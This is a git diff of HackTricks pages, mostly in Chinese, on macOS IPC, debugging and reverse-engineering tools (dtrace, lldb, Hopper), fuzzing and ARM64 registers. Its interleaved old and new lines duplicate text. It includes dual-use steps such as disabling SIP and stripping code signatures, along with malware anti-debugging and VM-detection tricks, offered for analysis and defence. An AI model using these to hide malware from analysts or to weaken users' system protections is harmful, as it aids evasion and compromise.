An event handler is set using `xpc_connection_set_event_handler` to handle incoming events from the XPC service. In this example, the event handler checks if the event is a dictionary and retrieves the value associated with the key "description". If a description is found, it is printed to the console.
The connection is resumed using `xpc_connection_resume`, and the main dispatch loop is started using `dispatch_main`.
### Usage
Compile the code using the following command:
```bash
clang -framework Foundation -o oc_xpc_client oc_xpc_client.m
```
Run the compiled binary:
```bash
./oc_xpc_client
```
### References
- [XPC Services](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
- [XPC Overview](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/Introduction.html#//apple_ref/doc/uid/10000172i-SW1-SW1)
- [XPC API Reference](https://developer.apple.com/documentation/xpc)
{% endtab %}
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include <Foundation/Foundation.h>
@ -1112,23 +1113,26 @@ return 0;
```
# macOS IPC (Inter-Process Communication)
Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other. In macOS, there are several IPC mechanisms available, including:
Inter-Process Communication (IPC) is a mechanism that allows different processes to communicate with each other and share data. In macOS, there are several IPC mechanisms available, including:
- **Mach Ports**: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.
- **XPC**: XPC (Cross-Process Communication) is a high-level IPC mechanism provided by macOS. It allows processes to communicate with each other using a simple and secure API.
- **Distributed Objects**: Distributed Objects is a legacy IPC mechanism in macOS. It allows objects to be shared between processes using a remote procedure call (RPC) mechanism.
- **Unix Domain Sockets**: Unix domain sockets are a type of IPC mechanism that allows communication between processes on the same machine using the file system.
1. **Mach Ports**: Mach ports are the fundamental IPC mechanism in macOS. They allow processes to send messages to each other and share resources.
Each IPC mechanism has its own advantages and use cases. Understanding how these mechanisms work can be useful for both security researchers and developers.
2. **UNIX Domain Sockets**: UNIX domain sockets provide a communication channel between processes running on the same machine. They are commonly used for local IPC.
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover techniques for analyzing and exploiting vulnerabilities in IPC implementations.
3. **Distributed Objects**: Distributed Objects is a high-level IPC mechanism provided by macOS. It allows objects to be shared between processes using a remote procedure call (RPC) mechanism.
4. **XPC**: XPC (eXtensible Procedure Call) is a modern IPC mechanism introduced in macOS 10.7. It provides a secure and efficient way for processes to communicate with each other.
Understanding how IPC works in macOS is important for both developers and security researchers. Developers need to know how to use IPC mechanisms to build inter-process communication into their applications, while security researchers need to understand how IPC can be abused for privilege escalation and other security attacks.
In this section, we will explore the different IPC mechanisms available in macOS and discuss their security implications. We will also cover common security vulnerabilities and best practices for securing IPC in macOS applications.
## Table of Contents
- [Mach Ports](mach-ports.md)
- [XPC](xpc.md)
- [UNIX Domain Sockets](unix-domain-sockets.md)
- [Distributed Objects](distributed-objects.md)
- [Unix Domain Sockets](unix-domain-sockets.md)
- [XPC](xpc.md)
{% endtab %}
@ -1184,7 +1188,7 @@ sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取 PEASS 的最新版本或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**

View file

@ -5,10 +5,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -34,7 +34,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb
### jtool2
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。[**在这里下载**](http://www.newosxbook.com/tools/jtool.html)。
该工具可以用作**codesign**、**otool**和**objdump**的**替代品**,并提供了一些额外的功能。[**在这里下载**](http://www.newosxbook.com/tools/jtool.html)或使用`brew`安装
```bash
# Install
brew install --cask jtool2
@ -52,13 +52,13 @@ ARCH=x86_64 jtool2 --sig /System/Applications/Automator.app/Contents/MacOS/Autom
Codesign代码签名是macOS中的一种安全机制用于验证应用程序的身份和完整性。通过对应用程序进行数字签名可以确保应用程序未被篡改或恶意注入。
在macOS,每个应用程序都必须经过代码签名才能被系统信任。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
在macOS,每个应用程序都必须经过代码签名才能被系统信任和运行。签名是使用开发者的私钥对应用程序进行加密的过程,以确保应用程序的完整性和来源可信。
通过验证应用程序的签名macOS可以确保应用程序来自可信的开发者并且没有被篡改。如果应用程序的签名无效或缺失macOS会发出警告并阻止运行。
通过验证应用程序的签名macOS可以确保应用程序来自可信的开发者并且没有被篡改。如果应用程序的签名无效或缺失macOS会发出警告并阻止应用程序的运行。
Codesign还可以用于验证应用程序的权限。开发者可以使用代码签名来指定应用程序所需的特定权限例如访问文件系统、网络或其他系统资源。这样,用户可以在安装应用程序之前,清楚地知道应用程序将要访问的权限范围
Codesign还可以用于验证应用程序的权限。开发者可以使用代码签名来指定应用程序所需的特定权限例如访问文件系统、网络或其他敏感资源。这样,用户在安装应用程序时就可以知道应用程序需要哪些权限,并可以做出相应的决策
总之Codesign是macOS中一种重要的安全机制用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名可以确保应用程序的来源可信,并防止恶意注入或篡改。
总之Codesign是macOS中一种重要的安全机制用于验证应用程序的身份、完整性和权限。通过对应用程序进行数字签名可以确保应用程序来自可信的开发者,并且没有被篡改。
```bash
# Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
@ -144,29 +144,29 @@ Mem: 0x100027064-0x1000274cc __TEXT.__swift5_fieldmd
Mem: 0x1000274cc-0x100027608 __TEXT.__swift5_capture
[...]
```
你可以在[**这篇博客文章**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)中找到关于这些部分存储的信息的更多详细信息
您可以在[**此博客文章中找到有关这些部分存储的信息的更多信息**](https://knight.sc/reverse%20engineering/2019/07/17/swift-metadata.html)。
### 打包的二进制文件
* 检查高熵
* 检查字符串(如果几乎没有可理解的字符串,则可能是打包的
* 检查字符串(如果几乎没有可理解的字符串,则为打包
* MacOS的UPX打包程序会生成一个名为"\_\_XHDR"的部分
## 动态分析
{% hint style="warning" %}
请注意为了调试二进制文件需要禁用SIP`csrutil disable`或`csrutil enable --without debug`),或将二进制文件复制到临时文件夹中,并使用`codesign --remove-signature <binary-path>`删除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)
请注意为了调试二进制文件需要禁用SIP`csrutil disable`或`csrutil enable --without debug`),或将二进制文件复制到临时文件夹并使用`codesign --remove-signature <binary-path>`删除签名,或允许对二进制文件进行调试(可以使用[此脚本](https://gist.github.com/carlospolop/a66b8d72bb8f43913c4b5ae45672578b)
{% endhint %}
{% hint style="warning" %}
请注意为了在macOS上**对系统二进制文件**(如`cloudconfigurationd`进行插桩必须禁用SIP仅删除签名是不起作用的)。
请注意为了在macOS上**检测系统二进制文件**(例如`cloudconfigurationd`必须禁用SIP仅删除签名不起作用)。
{% endhint %}
### 统一日志
MacOS会生成大量日志当运行应用程序时这些日志非常有用,可以帮助理解应用程序在做什么。
MacOS会生成大量日志当运行应用程序时这些日志可以非常有用,以了解它在做什么。
此外,有一些日志会包含标签`<private>`,以隐藏一些用户或计算机可识别的信息。但是,可以**安装证书来显示这些信息**。请按照[**这里的说明**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)进行操作。
此外,有些日志将包含标签`<private>`,以隐藏一些用户或计算机可识别的信息。但是,可以**安装证书以公开此信息**。请按照[**此处的说明**](https://superuser.com/questions/1532031/how-to-show-private-data-in-macos-unified-log)进行操作。
### Hopper
@ -176,36 +176,31 @@ MacOS会生成大量日志当运行应用程序时这些日志非常有用
#### 中间面板
在中间面板中,可以看到**反汇编代码**。通过点击相应的图标,可以以**原始**的反汇编、**图形**、**反编译**和**二进制**的形式查看
在中间面板中,您可以看到**反汇编代码**。您可以通过单击相应的图标,以**原始**、**图形**、**反编译**和**二进制**的方式查看它
<figure><img src="../../../.gitbook/assets/image (2) (6).png" alt=""><figcaption></figcaption></figure>
右键单击代码对象,可以查看对该对象的**引用/来自引用**,甚至更改其名称(在反编译的伪代码中无效):
右键单击代码对象,可以查看对该对象的**引用/来自**,甚至更改其名称(在反编译的伪代码中无效):
<figure><img src="../../../.gitbook/assets/image (1) (1) (2).png" alt=""><figcaption></figcaption></figure>
此外,在**中间下方可以编写Python命令**。
此外,在**中间下方,您可以编写Python命令**。
#### 右侧面板
在右侧面板中,可以看到一些有趣的信息,例如**导航历史记录**(以便了解如何到达当前情况)、**调用图**(可以看到调用此函数的所有函数以及此函数调用的所有函数)和**局部变量**信息。
在右侧面板中,可以看到一些有趣的信息,例如**导航历史记录**(以便您知道如何到达当前情况)、**调用图**(您可以看到所有调用此函数的函数以及此函数调用的所有函数)和**局部变量**信息。
### dtruss
```bash
dtruss -c ls #Get syscalls of ls
dtruss -c -p 1000 #get syscalls of PID 1000
```
### ktrace
即使启用了**SIP**,您仍然可以使用此方法。
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
### dtrace
它允许用户以极低的层次访问应用程序,并提供了一种追踪程序甚至更改其执行流程的方式。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束位置
它允许用户以极其**低级别**访问应用程序,并为用户提供了一种**跟踪**程序甚至更改其执行流程的方法。Dtrace使用**探针**,这些探针**分布在内核的各个位置**,例如系统调用的开始和结束。
DTrace使用**`dtrace_probe_create`**函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口点**触发。与DTrace的交互通过/dev/dtrace进行该设备仅对root用户可用。
DTrace使用**`dtrace_probe_create`**函数为每个系统调用创建一个探针。这些探针可以在每个系统调用的**入口和出口点触发**。与DTrace的交互通过/dev/dtrace进行该设备仅对root用户可用。
{% hint style="success" %}
要在不完全禁用SIP保护的情况下启用Dtrace可以在恢复模式下执行`csrutil enable --without dtrace`
您还可以**运行您编译的**`dtrace`或`dtruss`二进制文件。
{% endhint %}
可以使用以下命令获取dtrace的可用探针
```bash
@ -270,6 +265,27 @@ printf("=%d\n", arg1);
#Log sys calls with values
sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
```
### dtruss
The `dtruss` command is a powerful tool for inspecting and debugging macOS applications. It allows you to trace system calls and signals made by a specific process, providing valuable insights into its behavior and potential vulnerabilities.
To use `dtruss`, simply run the command followed by the path to the executable or the process ID of the target application. This will initiate the tracing process and display a detailed log of all system calls and signals generated by the application.
By analyzing the `dtruss` output, you can identify any suspicious or unexpected behavior, such as unauthorized file access, network communication, or privilege escalation attempts. This information can be crucial for identifying and patching security vulnerabilities in macOS applications.
It is important to note that `dtruss` requires root privileges to trace system calls made by other processes. Therefore, you may need to run it with `sudo` or as the root user to inspect privileged applications.
Overall, `dtruss` is a valuable tool for inspecting and debugging macOS applications, providing a deeper understanding of their inner workings and potential security issues.
```bash
dtruss -c ls #Get syscalls of ls
dtruss -c -p 1000 #get syscalls of PID 1000
```
### ktrace
即使启用了**SIP**,您仍然可以使用此方法。
```bash
ktrace trace -s -S -t c -c ls | grep "ls("
```
### ProcessMonitor
[**ProcessMonitor**](https://objective-see.com/products/utilities.html#ProcessMonitor) 是一个非常有用的工具,用于检查进程执行的与进程相关的操作(例如,监视进程创建的新进程)。
@ -278,9 +294,13 @@ sudo dtrace -s syscalls_info.d -c "cat /etc/hosts"
[**FileMonitor**](https://objective-see.com/products/utilities.html#FileMonitor) 允许监视文件事件(如创建、修改和删除),并提供有关这些事件的详细信息。
### Crescendo
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) 是一个具有类似于 Windows 用户熟悉的 Microsoft Sysinternal 的 _Procmon_ 的外观和感觉的 GUI 工具。它允许您启动和停止记录各种类型的事件,按类别(文件、进程、网络等)对其进行过滤,并将记录的事件保存为 json 文件。
### Apple Instruments
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是Xcode开发工具的一部分用于监视应用程序性能识别内存泄漏和跟踪文件系统活动。
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) 是 Xcode开发工具的一部分,用于监视应用程序性能识别内存泄漏和跟踪文件系统活动。
![](<../../../.gitbook/assets/image (15).png>)
@ -302,38 +322,25 @@ fs_usage -w -f network curl #This tracks network actions
### lldb
**lldb** 是macOS二进制文件**调试**的事实上的工具。
**lldb** 是用于**macOS**二进制文件**调试**的事实上的工具。
```bash
lldb ./malware.bin
lldb -p 1122
lldb -n malware.bin
lldb -n malware.bin --waitfor
```
您可以在使用lldb时设置intel风格只需在您的主文件夹中创建一个名为**`.lldbinit`**的文件,并添加以下行:
```bash
settings set target.x86-disassembly-flavor intel
```
{% hint style="warning" %}
在lldb中使用`process save-core`命令转储进程
在lldb中使用`process save-core`命令转储进程
{% endhint %}
| **(lldb) 命令** | **描述** |
| ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **run (r)** | 开始执行,直到遇到断点或进程终止。 |
| **continue (c)** | 继续执行被调试进程。 |
| **nexti (n / ni)** | 执行下一条指令。该命令会跳过函数调用。 |
| **stepi (s / si)** | 执行下一条指令。与nexti命令不同该命令会进入函数调用。 |
| **finish (f)** | 执行当前函数“frame”中剩余的指令然后返回并停止。 |
| **control + c** | 暂停执行。如果进程已经运行r或继续c这将导致进程在当前执行位置停止。 |
| **breakpoint (b)** | <p>b main</p><p>b -[NSDictionary objectForKey:]</p><p>b 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis &#x3C;num> #启用/禁用断点</p><p>breakpoint delete &#x3C;num><br>b set -n main --shlib &#x3C;lib_name></p> |
| **help** | <p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p> |
| **reg** | <p>reg read</p><p>reg read $rax</p><p>reg write $rip 0x100035cc0</p> |
| **x/s \<reg/memory address>** | 以空字符结尾的字符串形式显示内存。 |
| **x/i \<reg/memory address>** | 以汇编指令形式显示内存。 |
| **x/b \<reg/memory address>** | 以字节形式显示内存。 |
| **print object (po)** | <p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p请注意大多数苹果的Objective-C API或方法返回对象因此应通过print object”(po命令显示如果po没有产生有意义的输出请使用<code>x/b</code></p> |
| **memory** | <p>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在该地址写入AAAA</p> |
| **disassembly** | <p>dis #反汇编当前函数<br>dis -c 6 #反汇编6行<br>dis -c 0x100003764 -e 0x100003768 #从一个地址到另一个地址<br>dis -p -c 4 #从当前地址开始反汇编</p> |
| **parray** | parray 3 (char \*\*)$x1 #检查x1寄存器中的3个组件的数组 |
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) 命令</strong></td><td><strong>描述</strong></td></tr><tr><td><strong>run (r)</strong></td><td>开始执行,直到遇到断点或进程终止。</td></tr><tr><td><strong>continue (c)</strong></td><td>继续执行被调试的进程。</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>执行下一条指令。该命令会跳过函数调用。</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>执行下一条指令。与nexti命令不同该命令会进入函数调用。</td></tr><tr><td><strong>finish (f)</strong></td><td>执行当前函数“frame”中剩余的指令然后返回并停止。</td></tr><tr><td><strong>control + c</strong></td><td>暂停执行。如果进程已经运行r或继续c这将导致进程在当前执行位置停止。</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #任何名为main的函数</p><p>b &#x3C;binname>`main #二进制文件的主函数</p><p>b set -n main --shlib &#x3C;lib_name> #指定二进制文件的主函数</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #断点列表</p><p>br e/dis &#x3C;num> #启用/禁用断点</p><p>breakpoint delete &#x3C;num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #获取断点命令的帮助</p><p>help memory write #获取写入内存的帮助</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format &#x3C;<a href="https://lldb.llvm.org/use/variable.html#type-format">format</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s &#x3C;reg/memory address></strong></td><td>将内存显示为以空字符结尾的字符串。</td></tr><tr><td><strong>x/i &#x3C;reg/memory address></strong></td><td>将内存显示为汇编指令。</td></tr><tr><td><strong>x/b &#x3C;reg/memory address></strong></td><td>将内存显示为字节。</td></tr><tr><td><strong>print object (po)</strong></td><td><p>这将打印参数引用的对象</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>请注意大多数苹果的Objective-C API或方法返回对象因此应通过“print object”po命令显示。如果po没有产生有意义的输出请使用<x/b></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #在该地址写入AAAA<br>memory write -f s $rip+0x11f+7 "AAAA" #在该地址写入AAAA</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #反汇编当前函数</p><p>dis -n &#x3C;funcname> #反汇编函数</p><p>dis -n &#x3C;funcname> -b &#x3C;basename> #反汇编函数<br>dis -c 6 #反汇编6行<br>dis -c 0x100003764 -e 0x100003768 #从一个地址到另一个地址<br>dis -p -c 4 #从当前地址开始反汇编</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 #检查x1寄存器中的3个组件的数组</td></tr></tbody></table>
{% hint style="info" %}
在调用**`objc_sendMsg`**函数时,**rsi**寄存器保存方法的名称,以空字符结尾“C”字符串。要通过lldb打印名称请执行以下操作
在调用**`objc_sendMsg`**函数时,**rsi**寄存器保存方法的名称以空字符结尾“C”字符串。要通过lldb打印名称请执行以下操作
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
@ -350,22 +357,21 @@ lldb -n malware.bin --waitfor
* 命令**`sysctl hw.model`**在主机为MacOS时返回"Mac",而在虚拟机上返回其他值。
* 通过调整**`hw.logicalcpu`**和**`hw.physicalcpu`**的值,一些恶意软件尝试检测是否为虚拟机。
* 一些恶意软件还可以根据MAC地址00:50:56判断机器是否为VMware。
* 还可以使用简单的代码来检测进程是否正在被调试:
* 还可以通过简单的代码判断进程是否正在被调试:
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //process being debugged }`
* 还可以使用**`ptrace`**系统调用以**`PT_DENY_ATTACH`**标志调用。这可以防止调试器附加和跟踪。
* 可以检查是否导入了**`sysctl`**或**`ptrace`**函数(但恶意软件可能会动态导入它
* 还可以使用**`ptrace`**系统调用和**`PT_DENY_ATTACH`**标志来阻止调试器的附加和跟踪。
* 可以检查是否导入了**`sysctl`**或**`ptrace`**函数(但恶意软件可能会动态导入它)
* 如在此文档中所述:“[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)”:\
“_消息“Process # exited with **status = 45 (0x0000002d)**”通常是调试目标使用**PT\_DENY\_ATTACH**的明显迹象_”
## 模糊测试
“_消息“Process # exited with **status = 45 (0x0000002d)**”通常是调试目标正在使用**PT\_DENY\_ATTACH**的明显迹象_”。
## Fuzzing
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
ReportCrash用于**分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含的信息可以帮助开发人员诊断崩溃的原因。\
对于在每个用户的launchd上下文中运行的应用程序和其他进程ReportCrash作为LaunchAgent运行并将崩溃报告保存在用户的`~/Library/Logs/DiagnosticReports/`目录。\
对于守护进程、在系统launchd上下文中运行的其他进程和其他特权进程ReportCrash作为LaunchDaemon运行并将崩溃报告保存在系统的`/Library/Logs/DiagnosticReports`目录
ReportCrash(报告崩溃)**分析崩溃的进程并将崩溃报告保存到磁盘**。崩溃报告包含的信息可以**帮助开发人员诊断**崩溃的原因。\
对于在每个用户的launchd上下文中运行的应用程序和其他进程ReportCrash作为LaunchAgent运行并将崩溃报告保存在用户的`~/Library/Logs/DiagnosticReports/`目录。\
对于守护进程、在系统launchd上下文中运行的其他进程和其他特权进程ReportCrash作为LaunchDaemon运行并将崩溃报告保存在系统的`/Library/Logs/DiagnosticReports`目录
如果您担心崩溃报告被发送到Apple您可以禁用它们。否则崩溃报告可以帮助您弄清楚服务器崩溃的原因
如果你担心崩溃报告**被发送给Apple**,你可以禁用它们。如果不禁用,崩溃报告可以用来**找出服务器崩溃的原因**
```bash
#To disable crash reporting:
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
@ -475,7 +481,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**

View file

@ -4,10 +4,10 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗?想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
@ -18,11 +18,11 @@ ARM64也被称为ARMv8-A是一种64位处理器架构用于各种设备
### **寄存器**
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**8字节的值。对于只需要32位值的操作可以使用相同的寄存器以32位模式访问使用名称w0到w30
ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以存储一个**64位**8字节的值。对于只需要32位值的操作可以使用名为w0到w30的32位模式访问相同的寄存器
1. **`x0`**到**`x7`** - 通常用作临时寄存器和传递子程序参数。
* **`x0`**还携带函数的返回数据
2. **`x8`** - 在Linux内核中`x8`用作`svc`指令的系统调用号。**在macOS中使用x16**
2. **`x8`** - 在Linux内核中`x8`用作`svc`指令的系统调用号。**在macOS中使用的是x16**
3. **`x9`**到**`x15`** - 更多的临时寄存器,通常用于局部变量。
4. **`x16`**和**`x17`** - 临时寄存器也用于间接函数调用和PLTProcedure Linkage Table存根。
* **`x16`**用作**`svc`**指令的**系统调用号**。
@ -35,9 +35,9 @@ ARM64有**31个通用寄存器**,标记为`x0`到`x30`。每个寄存器可以
### **调用约定**
